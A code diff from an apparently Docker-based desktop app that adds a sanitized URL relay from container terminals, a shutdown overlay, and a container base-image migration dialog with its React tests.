||||
let relayLastAt = 0;
|
||||
let relayHideTimer = null;
|
||||
|
||||
// ─── shared-url-sanitizer ─────────────────────────────────────
|
||||
// THIS IS A COPY OF `sanitizeRelayUrl` IN app/src/lib/urlRelay.ts.
|
||||
// It exists only because this file is embedded standalone via include_str!()
|
||||
// and cannot import a module. Change one, change the other — and note that
|
||||
// app/src/lib/urlRelay.embedded.test.ts reads this file, extracts the block
|
||||
// between these two markers and runs it against the same table of cases as
|
||||
// the TypeScript original, so a divergence fails the suite instead of
|
||||
// silently shipping. Keep the markers, the function name and the arity
|
||||
// intact: that test finds the code by them.
|
||||
function sanitizeRelayUrl(raw) {
|
||||
if (typeof raw !== 'string') return null;
|
||||
const s = raw.trim();
|
||||
if (!s || s.length > RELAY_MAX_URL) return null;
|
||||
// Control characters and whitespace first: new URL() strips tabs/newlines,
|
||||
// so "java\nscript:" would otherwise slip through as javascript:. Quotes
|
||||
// and backticks go with them — all three are illegal in a URL, and this
|
||||
// string ends up as an argument to something that may treat them as syntax.
|
||||
for (const ch of s) {
|
||||
const code = ch.codePointAt(0);
|
||||
if (code <= 0x20 || code === 0x7f) return null;
|
||||
if (code >= 0x80 && code <= 0x9f) return null;
|
||||
if (ch === '"' || ch === "'" || ch === '`') return null;
|
||||
if (ch.trim() === '') return null;
|
||||
}
|
||||
let u;
|
||||
try { u = new URL(s); } catch (e) { return null; }
|
||||
if (u.protocol !== 'http:' && u.protocol !== 'https:') return null;
|
||||
if (!u.hostname) return null;
|
||||
if (u.username || u.password) return null; // origin spoofing
|
||||
return u.toString();
|
||||
}
|
||||
// ─── end shared-url-sanitizer ────────────────────────────────
|
||||
|
||||
function parseRelayOsc(data) {
|
||||
if (typeof data !== 'string') return null;
|
||||
const sep = data.indexOf(';');
|
||||
if (sep === -1) return null;
|
||||
if (data.slice(0, sep) !== 'open') return null;
|
||||
const body = data.slice(sep + 1);
|
||||
if (!body || body.length > RELAY_MAX_URL * 2) return null;
|
||||
if (!/^[A-Za-z0-9+/]+=*$/.test(body)) return null;
|
||||
let text;
|
||||
try {
|
||||
const bin = atob(body);
|
||||
const bytes = Uint8Array.from(bin, c => c.charCodeAt(0));
|
||||
text = new TextDecoder('utf-8', { fatal: true }).decode(bytes);
|
||||
} catch (e) { return null; }
|
||||
return sanitizeRelayUrl(text);
|
||||
}
|
||||
|
||||
// Cap the prompt rate so a runaway loop in the container can't bury the UI.
|
||||
function relayAllowed(url) {
|
||||
const now = Date.now();
|
||||
if (url === relayLastUrl && now - relayLastAt < 5000) {
|
||||
relayLastAt = now;
|
||||
return false;
|
||||
}
|
||||
relayTimes = relayTimes.filter(t => now - t < 10000);
|
||||
if (relayTimes.length >= 5) return false;
|
||||
relayTimes.push(now);
|
||||
relayLastUrl = url;
|
||||
relayLastAt = now;
|
||||
return true;
|
||||
}
|
||||
|
||||
function hideRelayBanner() {
|
||||
relayBanner.classList.remove('visible');
|
||||
relayBannerLink.removeAttribute('href');
|
||||
relayBannerLink.textContent = '';
|
||||
clearTimeout(relayHideTimer);
|
||||
}
|
||||
|
||||
function showRelayBanner(url) {
|
||||
relayBannerLink.href = url;
|
||||
relayBannerLink.textContent = url;
|
||||
relayBanner.classList.add('visible');
|
||||
clearTimeout(relayHideTimer);
|
||||
relayHideTimer = setTimeout(hideRelayBanner, 60000);
|
||||
}
|
||||
|
||||
relayBannerDismiss.addEventListener('click', hideRelayBanner);
|
||||
relayBannerLink.addEventListener('click', () => hideRelayBanner());
|
||||
|
||||
// ── WebSocket ──────────────────────────────
|
||||
function connect() {
|
||||
@@ -448,6 +610,15 @@
|
||||
const webLinksAddon = new WebLinksAddon.WebLinksAddon();
|
||||
term.loadAddon(webLinksAddon);
|
||||
|
||||
// URL relay from the container (see the OSC 7777 notes above). Always
|
||||
// returns true so the sequence is consumed and never painted as garbage,
|
||||
// whether or not we act on it.
|
||||
term.parser.registerOscHandler(RELAY_OSC, data => {
|
||||
const url = parseRelayOsc(data);
|
||||
if (url && relayAllowed(url)) showRelayBanner(url);
|
||||
return true;
|
||||
});
|
||||
|
||||
// Create container div
|
||||
const container = document.createElement('div');
|
||||
container.className = 'terminal-container';
|
||||
|
||||
@@ -22,7 +22,7 @@
|
||||
}
|
||||
],
|
||||
"security": {
|
||||
"csp": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' asset: https://asset.localhost; font-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost"
|
||||
"csp": "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' asset: https://asset.localhost; font-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost; frame-src http://127.0.0.1:47820 http://127.0.0.1:47821 http://127.0.0.1:47822 http://127.0.0.1:47823 http://127.0.0.1:47824 http://127.0.0.1:47825 http://127.0.0.1:47826 http://127.0.0.1:47827"
|
||||
}
|
||||
},
|
||||
"bundle": {
|
||||
|
||||
+55
-11
@@ -1,5 +1,6 @@
|
||||
import { useEffect, useState } from "react";
|
||||
import { useCallback, useEffect, useState } from "react";
|
||||
import { useShallow } from "zustand/react/shallow";
|
||||
import { listen } from "@tauri-apps/api/event";
|
||||
import Sidebar from "./components/layout/Sidebar";
|
||||
import TopBar from "./components/layout/TopBar";
|
||||
import StatusBar from "./components/layout/StatusBar";
|
||||
@@ -38,6 +39,25 @@ export default function App() {
|
||||
}))
|
||||
);
|
||||
const [showInstallDialog, setShowInstallDialog] = useState(false);
|
||||
const [shuttingDown, setShuttingDown] = useState(false);
|
||||
|
||||
/**
|
||||
* Everything that can only be done once Docker answers. Called from the
|
||||
* startup check *and* from the poller when the daemon shows up later — a
|
||||
* session that launched before Docker was ready otherwise never reconciles
|
||||
* container state or recovers an interrupted migration.
|
||||
*/
|
||||
const onDockerReady = useCallback(async () => {
|
||||
checkImage();
|
||||
// Reconcile project statuses against actual Docker container state,
|
||||
// then refresh the project list so the UI reflects reality.
|
||||
try {
|
||||
setProjects(await reconcileProjectStatuses());
|
||||
} catch {
|
||||
// If reconciliation fails (e.g. Docker hiccup), just load from store
|
||||
refresh();
|
||||
}
|
||||
}, [checkImage, setProjects, refresh]);
|
||||
|
||||
// Single STT instance bound to the active session. The mic lives in the
|
||||
// StatusBar; the terminal's Ctrl+Shift+M shortcut calls stt.toggle via the
|
||||
@@ -57,18 +77,10 @@ export default function App() {
|
||||
let stopPolling: (() => void) | undefined;
|
||||
checkDocker().then((available) => {
|
||||
if (available) {
|
||||
checkImage();
|
||||
// Reconcile project statuses against actual Docker container state,
|
||||
// then refresh the project list so the UI reflects reality.
|
||||
reconcileProjectStatuses().then((projects) => {
|
||||
setProjects(projects);
|
||||
}).catch(() => {
|
||||
// If reconciliation fails (e.g. Docker hiccup), just load from store
|
||||
refresh();
|
||||
});
|
||||
onDockerReady();
|
||||
} else {
|
||||
setShowInstallDialog(true);
|
||||
stopPolling = startDockerPolling();
|
||||
stopPolling = startDockerPolling(onDockerReady);
|
||||
}
|
||||
});
|
||||
refresh();
|
||||
@@ -87,6 +99,23 @@ export default function App() {
|
||||
};
|
||||
}, []); // eslint-disable-line react-hooks/exhaustive-deps
|
||||
|
||||
// The backend prevents the window closing so it can stop containers first,
|
||||
// which freezes the UI for several seconds. This says why.
|
||||
useEffect(() => {
|
||||
let unlisten: (() => void) | undefined;
|
||||
let cancelled = false;
|
||||
listen("app-shutting-down", () => setShuttingDown(true))
|
||||
.then((fn) => {
|
||||
if (cancelled) fn();
|
||||
else unlisten = fn;
|
||||
})
|
||||
.catch((e) => console.error("Failed to listen for shutdown:", e));
|
||||
return () => {
|
||||
cancelled = true;
|
||||
unlisten?.();
|
||||
};
|
||||
}, []);
|
||||
|
||||
const homeProjectIds = tabOrder.filter(isHomeTab).map(tabKeyId);
|
||||
|
||||
return (
|
||||
@@ -122,6 +151,21 @@ export default function App() {
|
||||
{showInstallDialog && (
|
||||
<DockerInstallDialog onClose={() => setShowInstallDialog(false)} />
|
||||
)}
|
||||
{shuttingDown && (
|
||||
<div
|
||||
className="fixed inset-0 z-50 flex items-center justify-center bg-[var(--bg-primary)]/95 backdrop-blur-sm"
|
||||
role="status"
|
||||
aria-live="polite"
|
||||
data-testid="shutdown-overlay"
|
||||
>
|
||||
<div className="flex flex-col items-center gap-2 px-6 text-center">
|
||||
<StatusIndicator tone="busy" label="Shutting down" className="text-sm" />
|
||||
<p className="text-[13px] text-[var(--text-secondary)]">
|
||||
Stopping containers before quitting. This window will close on its own.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,320 @@
|
||||
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
|
||||
import { render, screen, fireEvent, act } from "@testing-library/react";
|
||||
import MigrateContainerModal from "./MigrateContainerModal";
|
||||
import type { ContainerMigration } from "../../hooks/useContainerMigration";
|
||||
import type { ContainerStaleness } from "../../lib/types";
|
||||
|
||||
/** Modal focuses via rAF so the panel is laid out first; jsdom needs a flush. */
|
||||
async function flushFocus() {
|
||||
await act(async () => {
|
||||
vi.advanceTimersByTime(20);
|
||||
});
|
||||
}
|
||||
|
||||
const STALE: ContainerStaleness = {
|
||||
stale: true,
|
||||
known: true,
|
||||
base_image_id: "sha256:aaa",
|
||||
current_base_image_id: "sha256:bbb",
|
||||
snapshot_created_at: "2026-03-01T09:00:00Z",
|
||||
missing_paths: ["/usr/bin/socat"],
|
||||
missing_features: ["Auth bridge tunnel (socat)", "Mission Control"],
|
||||
apt_delta: ["socat", "bubblewrap"],
|
||||
npm_global_delta: [],
|
||||
verbatim_paths: [],
|
||||
unpreserved_data: [],
|
||||
outdated_package_count: 61,
|
||||
probe_error: null,
|
||||
};
|
||||
|
||||
function migration(overrides: Partial<ContainerMigration> = {}): ContainerMigration {
|
||||
return {
|
||||
staleness: STALE,
|
||||
probing: false,
|
||||
probeSettled: true,
|
||||
running: false,
|
||||
recovered: false,
|
||||
interrupted: null,
|
||||
report: null,
|
||||
log: [],
|
||||
phaseMessage: null,
|
||||
busy: false,
|
||||
start: vi.fn(async () => {}),
|
||||
resume: vi.fn(async () => {}),
|
||||
keep: vi.fn(async () => {}),
|
||||
rollback: vi.fn(async () => {}),
|
||||
dismiss: vi.fn(async () => {}),
|
||||
refresh: vi.fn(async () => {}),
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
async function renderModal(
|
||||
staleness: ContainerStaleness | null = STALE,
|
||||
overrides: Partial<ContainerMigration> = {},
|
||||
) {
|
||||
const m = migration({ staleness, ...overrides });
|
||||
const onClose = vi.fn();
|
||||
render(
|
||||
<MigrateContainerModal
|
||||
projectName="api-server"
|
||||
staleness={staleness}
|
||||
migration={m}
|
||||
onClose={onClose}
|
||||
/>,
|
||||
);
|
||||
await flushFocus();
|
||||
return { m, onClose };
|
||||
}
|
||||
|
||||
describe("MigrateContainerModal", () => {
|
||||
beforeEach(() => {
|
||||
vi.useFakeTimers({ toFake: ["requestAnimationFrame", "setTimeout"] });
|
||||
});
|
||||
afterEach(() => {
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
describe("pre-flight", () => {
|
||||
it("leads with what is kept, as a statement rather than a choice", async () => {
|
||||
await renderModal();
|
||||
const kept = screen.getByText("Kept automatically");
|
||||
expect(kept).toBeInTheDocument();
|
||||
expect(screen.getByText(/no signing in again/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/every saved session transcript/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/are Docker volumes/i)).toBeInTheDocument();
|
||||
|
||||
// Reassurance comes first: it is above the replay section in the DOM.
|
||||
const replay = screen.getByText(/Reinstalled from the new base's repos/);
|
||||
expect(kept.compareDocumentPosition(replay)).toBe(
|
||||
Node.DOCUMENT_POSITION_FOLLOWING,
|
||||
);
|
||||
|
||||
// And it is a statement — there is no switch attached to it.
|
||||
const keptSection = kept.closest("section");
|
||||
expect(keptSection?.querySelector('[role="switch"]')).toBeNull();
|
||||
});
|
||||
|
||||
it("hides the verbatim-copy section when nothing user-authored was found", async () => {
|
||||
await renderModal({ ...STALE, verbatim_paths: [] });
|
||||
expect(screen.queryByText(/Copied across as-is/i)).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("shows the verbatim-copy section with its paths when there are some", async () => {
|
||||
await renderModal({
|
||||
...STALE,
|
||||
verbatim_paths: ["/usr/local/bin/deploy.sh", "/etc/pki/corp.crt"],
|
||||
});
|
||||
expect(screen.getByText("Copied across as-is (2)")).toBeInTheDocument();
|
||||
expect(screen.getByText("/usr/local/bin/deploy.sh")).toBeInTheDocument();
|
||||
expect(screen.getByText("/etc/pki/corp.crt")).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("counts the apt packages and states the rollback's disk cost", async () => {
|
||||
await renderModal();
|
||||
expect(
|
||||
screen.getByText("Reinstalled from the new base's repos (2)"),
|
||||
).toBeInTheDocument();
|
||||
expect(screen.getByText("socat")).toBeInTheDocument();
|
||||
expect(screen.getByText("bubblewrap")).toBeInTheDocument();
|
||||
expect(screen.getByText(/3.8–12.3 GB/)).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText(/Rollback restores the system layer only/i),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("lists the gains as the inverse of the missing features", async () => {
|
||||
await renderModal();
|
||||
expect(screen.getByText("You will gain")).toBeInTheDocument();
|
||||
expect(screen.getByText(/Auth bridge tunnel \(socat\)/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/Mission Control/)).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText(
|
||||
/61 packages the current base carries at a different version/i,
|
||||
),
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("passes the three options through when the run is started", async () => {
|
||||
const { m } = await renderModal({
|
||||
...STALE,
|
||||
verbatim_paths: ["/usr/local/bin/deploy.sh"],
|
||||
});
|
||||
fireEvent.click(
|
||||
screen.getByRole("switch", {
|
||||
name: /Keep a rollback image until I confirm/i,
|
||||
}),
|
||||
);
|
||||
fireEvent.click(
|
||||
screen.getByRole("button", { name: "Update container base" }),
|
||||
);
|
||||
expect(m.start).toHaveBeenCalledWith({
|
||||
replay_packages: true,
|
||||
copy_paths: true,
|
||||
keep_rollback: false,
|
||||
});
|
||||
});
|
||||
|
||||
it("never derives copy_paths from a delta the probe may not have read", async () => {
|
||||
// The regression: `copy_paths: copyPaths && verbatim.length > 0` read the
|
||||
// toggle's meaning off `staleness`, which is null while the ~6 s probe
|
||||
// runs. That sent `copy_paths: false` to a backend that recomputes the
|
||||
// real set but honours the flag — files silently not copied, while this
|
||||
// dialog said there was nothing to copy. The toggle's own value is the
|
||||
// only thing that may be sent; the backend skips the step when *its* set
|
||||
// comes out empty, which is the only place that knows.
|
||||
const { m } = await renderModal({ ...STALE, verbatim_paths: [] });
|
||||
fireEvent.click(
|
||||
screen.getByRole("button", { name: "Update container base" }),
|
||||
);
|
||||
expect(m.start).toHaveBeenCalledWith({
|
||||
replay_packages: true,
|
||||
copy_paths: true,
|
||||
keep_rollback: true,
|
||||
});
|
||||
});
|
||||
|
||||
it("cannot be started until the probe has settled, and says so", async () => {
|
||||
await renderModal(null, { probeSettled: false, probing: true });
|
||||
expect(
|
||||
screen.getByRole("button", { name: "Update container base" }),
|
||||
).toBeDisabled();
|
||||
expect(
|
||||
screen.getByText(/lists below are not complete until it finishes/i),
|
||||
).toBeInTheDocument();
|
||||
// "None found" and "not checked yet" must not be the same sentence.
|
||||
expect(
|
||||
screen.getByText(/Still checking which apt packages/i),
|
||||
).toBeInTheDocument();
|
||||
expect(screen.getByText("Not checked yet.")).toBeInTheDocument();
|
||||
expect(
|
||||
screen.queryByText(/No extra apt packages were found/i),
|
||||
).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it("names the data under /var that the update destroys and cannot restore", async () => {
|
||||
await renderModal({
|
||||
...STALE,
|
||||
unpreserved_data: [
|
||||
{ path: "/var/lib/postgresql", bytes: 41_000_000, file_count: 912 },
|
||||
],
|
||||
});
|
||||
const panel = screen.getByTestId("migration-unpreserved");
|
||||
expect(panel.textContent).toMatch(/\/var\/lib\/postgresql/);
|
||||
expect(panel.textContent).toMatch(/41\.0 MB in 912 files/);
|
||||
expect(panel.textContent).toMatch(/reinstalling the package does not bring it back/i);
|
||||
});
|
||||
|
||||
it("says plainly that /var is not carried across even when nothing is at risk", async () => {
|
||||
await renderModal();
|
||||
const panel = screen.getByTestId("migration-unpreserved");
|
||||
expect(panel.textContent).toMatch(/nothing here to lose/i);
|
||||
expect(panel.textContent).toMatch(/Data written under \/var is not carried across/i);
|
||||
});
|
||||
|
||||
it("offers Resume rather than Keep on a container that is mid-swap", async () => {
|
||||
// Keep drops the rollback image, and on an unfinished migration
|
||||
// `:latest` still points at the old lineage — so Keep here deletes the
|
||||
// only way back from a container the app can no longer reason about.
|
||||
const { m } = await renderModal(STALE, {
|
||||
interrupted: {
|
||||
phase: "interrupted",
|
||||
from_image_id: "sha256:aaa",
|
||||
to_base_id: "sha256:bbb",
|
||||
started_at: "2026-08-09T10:00:00Z",
|
||||
report: null,
|
||||
rollback_image: "triple-c-snapshot-p1:pre-migration-20260809-100000",
|
||||
staging_path: null,
|
||||
options: { replay_packages: true, copy_paths: true, keep_rollback: true },
|
||||
plan: null,
|
||||
},
|
||||
report: {
|
||||
phase: "failed",
|
||||
packages_requested: [],
|
||||
packages_installed: [],
|
||||
packages_failed: [],
|
||||
paths_copied: [],
|
||||
features_restored: [],
|
||||
rollback_available: true,
|
||||
message: "saving it failed",
|
||||
},
|
||||
});
|
||||
expect(screen.queryByRole("button", { name: "Keep" })).not.toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Resume update" }));
|
||||
expect(m.resume).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("does not start anything on cancel", async () => {
|
||||
const { m, onClose } = await renderModal();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Cancel" }));
|
||||
expect(onClose).toHaveBeenCalledTimes(1);
|
||||
expect(m.start).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("mid-run", () => {
|
||||
const RUNNING: Partial<ContainerMigration> = {
|
||||
running: true,
|
||||
log: ["Snapshotting container…", "Creating container on the new base…"],
|
||||
phaseMessage: "Creating container on the new base…",
|
||||
};
|
||||
|
||||
it("streams the phase message and the output", async () => {
|
||||
await renderModal(STALE, RUNNING);
|
||||
expect(screen.getByRole("status").textContent).toBe(
|
||||
"Creating container on the new base…",
|
||||
);
|
||||
const log = screen.getByTestId("migration-log");
|
||||
expect(log.textContent).toContain("Snapshotting container…");
|
||||
expect(log.textContent).toContain("Creating container on the new base…");
|
||||
});
|
||||
|
||||
it("can be dismissed without cancelling the run", async () => {
|
||||
const { m, onClose } = await renderModal(STALE, RUNNING);
|
||||
// A run takes minutes; blocking the app for it would be wrong, so the
|
||||
// dialog closes and the work carries on.
|
||||
expect(
|
||||
screen.getByText(/keeps running if you close it/i),
|
||||
).toBeInTheDocument();
|
||||
|
||||
fireEvent.click(screen.getByRole("button", { name: "Hide" }));
|
||||
expect(onClose).toHaveBeenCalledTimes(1);
|
||||
|
||||
// Nothing on the migration was touched — closing is not cancelling.
|
||||
expect(m.start).not.toHaveBeenCalled();
|
||||
expect(m.rollback).not.toHaveBeenCalled();
|
||||
expect(m.dismiss).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("still closes on Escape and on the header ✕ while running", async () => {
|
||||
const { m, onClose } = await renderModal(STALE, RUNNING);
|
||||
fireEvent.click(screen.getByRole("button", { name: "Close dialog" }));
|
||||
expect(onClose).toHaveBeenCalledTimes(1);
|
||||
fireEvent.keyDown(document, { key: "Escape" });
|
||||
expect(onClose).toHaveBeenCalledTimes(2);
|
||||
expect(m.dismiss).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("outcome", () => {
|
||||
it("shows the report in place of the pre-flight once it lands", async () => {
|
||||
await renderModal(STALE, {
|
||||
report: {
|
||||
phase: "partial",
|
||||
packages_requested: ["socat", "bubblewrap"],
|
||||
packages_installed: ["socat"],
|
||||
packages_failed: [
|
||||
{ name: "bubblewrap", reason: "held back by apt-mark" },
|
||||
],
|
||||
paths_copied: [],
|
||||
features_restored: ["Auth bridge tunnel (socat)"],
|
||||
rollback_available: true,
|
||||
message: "",
|
||||
},
|
||||
});
|
||||
expect(screen.getByText(/Updated, but not completely/i)).toBeInTheDocument();
|
||||
expect(screen.queryByText("Kept automatically")).not.toBeInTheDocument();
|
||||
expect(screen.getByText(/held back by apt-mark/)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,427 @@
|
||||
import { useEffect, useRef, useState } from "react";
|
||||
import type { ContainerStaleness, MigrationOptions } from "../../lib/types";
|
||||
import Modal from "../ui/Modal";
|
||||
import Button from "../ui/Button";
|
||||
import Toggle from "../ui/Toggle";
|
||||
import { SwitchRow } from "../ui/Field";
|
||||
import MigrationReportCard from "./MigrationReportCard";
|
||||
import MigrationInterruptedCard from "./MigrationInterruptedCard";
|
||||
import type { ContainerMigration } from "../../hooks/useContainerMigration";
|
||||
import {
|
||||
DATA_NOT_CARRIED,
|
||||
KEPT_AUTOMATICALLY,
|
||||
KEPT_WHY,
|
||||
LOST_WITHOUT_REPLAY,
|
||||
MID_RUN_SAFETY,
|
||||
REPLAY_COST,
|
||||
ROLLBACK_DISK_COST,
|
||||
ROLLBACK_SCOPE,
|
||||
formatDataSize,
|
||||
formatSnapshotDate,
|
||||
} from "./migrationCopy";
|
||||
|
||||
interface Props {
|
||||
projectName: string;
|
||||
staleness: ContainerStaleness | null;
|
||||
migration: ContainerMigration;
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
function Section({
|
||||
title,
|
||||
children,
|
||||
control,
|
||||
}: {
|
||||
title: string;
|
||||
children: React.ReactNode;
|
||||
control?: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<section className="border border-[var(--border-color)] rounded-[var(--radius-panel)] bg-[var(--bg-secondary)] px-3.5 py-3">
|
||||
{control ? (
|
||||
<SwitchRow label={title} control={control} />
|
||||
) : (
|
||||
<h3 className="text-[13px] font-medium text-[var(--text-primary)]">{title}</h3>
|
||||
)}
|
||||
<div className="mt-2 space-y-1.5">{children}</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
function BulletList({ items, mono = false }: { items: string[]; mono?: boolean }) {
|
||||
return (
|
||||
<ul className="space-y-1 pl-4 list-disc marker:text-[var(--text-disabled)]">
|
||||
{items.map((item) => (
|
||||
<li
|
||||
key={item}
|
||||
className={`text-xs leading-snug text-[var(--text-secondary)] ${
|
||||
mono ? "font-mono break-all" : ""
|
||||
}`}
|
||||
>
|
||||
{item}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Pre-flight, progress and outcome for a base-image migration, in one dialog.
|
||||
*
|
||||
* Order matters here. The reassurance comes first — almost nothing painful is
|
||||
* at risk, because the two volumes re-attach untouched — and only then the
|
||||
* short list of things that genuinely have to be put back. Leading with the
|
||||
* options would read as "pick which of your data to lose".
|
||||
*
|
||||
* Once the run starts the dialog stays **dismissible**: this takes minutes, and
|
||||
* a modal that blocks the whole app for the duration is worse than no progress
|
||||
* UI at all. Closing it hides a view; the work and its log live in the hook.
|
||||
*/
|
||||
export default function MigrateContainerModal({
|
||||
projectName,
|
||||
staleness,
|
||||
migration,
|
||||
onClose,
|
||||
}: Props) {
|
||||
const [replayPackages, setReplayPackages] = useState(true);
|
||||
const [copyPaths, setCopyPaths] = useState(true);
|
||||
const [keepRollback, setKeepRollback] = useState(true);
|
||||
const logRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
const { running, report, interrupted, log, phaseMessage, busy, probeSettled } =
|
||||
migration;
|
||||
const aptDelta = staleness?.apt_delta ?? [];
|
||||
const npmDelta = staleness?.npm_global_delta ?? [];
|
||||
const verbatim = staleness?.verbatim_paths ?? [];
|
||||
const atRisk = staleness?.unpreserved_data ?? [];
|
||||
const gains = staleness?.missing_features ?? [];
|
||||
const snapshot = formatSnapshotDate(staleness?.snapshot_created_at ?? null);
|
||||
|
||||
// Follow the tail of the apt output, the way a terminal would.
|
||||
useEffect(() => {
|
||||
const el = logRef.current;
|
||||
if (el) el.scrollTop = el.scrollHeight;
|
||||
}, [log.length]);
|
||||
|
||||
const start = () => {
|
||||
const options: MigrationOptions = {
|
||||
// Deliberately *not* `&& verbatim.length > 0`. That looked like a
|
||||
// harmless optimisation but read the toggle's meaning off a probe that
|
||||
// may not have landed, so a null `staleness` sent `copy_paths: false`
|
||||
// and the backend — which recomputes the real set but honours the flag —
|
||||
// skipped files that did exist. The backend already skips the step when
|
||||
// its own set comes out empty; that is the only place that knows.
|
||||
replay_packages: replayPackages,
|
||||
copy_paths: copyPaths,
|
||||
keep_rollback: keepRollback,
|
||||
};
|
||||
void migration.start(options);
|
||||
};
|
||||
|
||||
// ---- Unfinished ---------------------------------------------------------
|
||||
// Ahead of the report, for the reason spelled out in MigrationInterruptedCard:
|
||||
// Keep is not a legitimate action on a container that is mid-swap.
|
||||
if (interrupted) {
|
||||
return (
|
||||
<Modal
|
||||
title={`Update container base — ${projectName}`}
|
||||
onClose={onClose}
|
||||
widthClassName="w-[34rem]"
|
||||
footer={
|
||||
<Button size="md" variant="ghost" onClick={onClose}>
|
||||
Close
|
||||
</Button>
|
||||
}
|
||||
>
|
||||
<MigrationInterruptedCard
|
||||
record={interrupted}
|
||||
busy={busy || running}
|
||||
onResume={() => void migration.resume()}
|
||||
onRollback={() => void migration.rollback().then(onClose)}
|
||||
/>
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
|
||||
// ---- Outcome ------------------------------------------------------------
|
||||
if (report) {
|
||||
return (
|
||||
<Modal
|
||||
title={`Update container base — ${projectName}`}
|
||||
onClose={onClose}
|
||||
widthClassName="w-[34rem]"
|
||||
footer={
|
||||
<Button size="md" variant="ghost" onClick={onClose}>
|
||||
Close
|
||||
</Button>
|
||||
}
|
||||
>
|
||||
<MigrationReportCard
|
||||
report={report}
|
||||
busy={busy}
|
||||
onKeep={() => void migration.keep().then(onClose)}
|
||||
onRollback={() => void migration.rollback().then(onClose)}
|
||||
onDismiss={() => void migration.dismiss().then(onClose)}
|
||||
/>
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
|
||||
// ---- Progress -----------------------------------------------------------
|
||||
if (running) {
|
||||
return (
|
||||
<Modal
|
||||
title={`Updating container base — ${projectName}`}
|
||||
description="This keeps running if you close it. You can carry on using the app."
|
||||
onClose={onClose}
|
||||
widthClassName="w-[34rem]"
|
||||
footer={
|
||||
<Button size="md" variant="ghost" onClick={onClose}>
|
||||
Hide
|
||||
</Button>
|
||||
}
|
||||
>
|
||||
<div className="space-y-3">
|
||||
<p
|
||||
role="status"
|
||||
aria-live="polite"
|
||||
className="text-[13px] text-[var(--text-primary)]"
|
||||
>
|
||||
{phaseMessage ?? "Starting…"}
|
||||
</p>
|
||||
<div
|
||||
ref={logRef}
|
||||
data-testid="migration-log"
|
||||
className="h-56 overflow-y-auto px-2.5 py-2 font-mono text-[11px] leading-relaxed text-[var(--text-secondary)] bg-[var(--bg-primary)] border border-[var(--border-color)] rounded-[var(--radius-control)] whitespace-pre-wrap break-all select-text"
|
||||
>
|
||||
{log.length === 0 ? "Waiting for the first step…" : log.join("\n")}
|
||||
</div>
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{MID_RUN_SAFETY}
|
||||
</p>
|
||||
</div>
|
||||
</Modal>
|
||||
);
|
||||
}
|
||||
|
||||
// ---- Pre-flight ---------------------------------------------------------
|
||||
return (
|
||||
<Modal
|
||||
title={`Update container base — ${projectName}`}
|
||||
description={
|
||||
snapshot
|
||||
? `Rebuilds this container on the current base image. It is running on a saved image from ${snapshot}.`
|
||||
: "Rebuilds this container on the current base image."
|
||||
}
|
||||
onClose={onClose}
|
||||
widthClassName="w-[36rem]"
|
||||
footer={
|
||||
<>
|
||||
<Button size="md" variant="ghost" onClick={onClose}>
|
||||
Cancel
|
||||
</Button>
|
||||
<Button
|
||||
size="md"
|
||||
variant="primary"
|
||||
disabled={!probeSettled}
|
||||
onClick={start}
|
||||
>
|
||||
Update container base
|
||||
</Button>
|
||||
</>
|
||||
}
|
||||
>
|
||||
<div className="space-y-3">
|
||||
{/* 0. Until the probe lands, every list below is "not known" wearing
|
||||
"empty"'s clothes. Say which one it is, and do not let the run
|
||||
start on an unread delta. */}
|
||||
{!probeSettled && (
|
||||
<section
|
||||
className="border border-[var(--warning)]/40 bg-[var(--warning-muted)] rounded-[var(--radius-panel)] px-3.5 py-3"
|
||||
role="status"
|
||||
aria-live="polite"
|
||||
>
|
||||
<p className="text-xs text-[var(--text-primary)] leading-snug">
|
||||
Still working out what this container has that the current base
|
||||
does not. The lists below are not complete until it finishes, so
|
||||
the update cannot start yet.
|
||||
</p>
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* 1. Reassurance first. Not a choice — a statement of fact. */}
|
||||
<Section title="Kept automatically">
|
||||
<BulletList items={KEPT_AUTOMATICALLY} />
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">{KEPT_WHY}</p>
|
||||
<p className="text-xs text-[var(--text-secondary)] leading-snug">
|
||||
{LOST_WITHOUT_REPLAY}
|
||||
</p>
|
||||
</Section>
|
||||
|
||||
{/* 1b. The one thing that is genuinely destroyed. Directly under the
|
||||
reassurance, because a user who reads only the top of this dialog
|
||||
must not come away thinking nothing is at stake. */}
|
||||
<section
|
||||
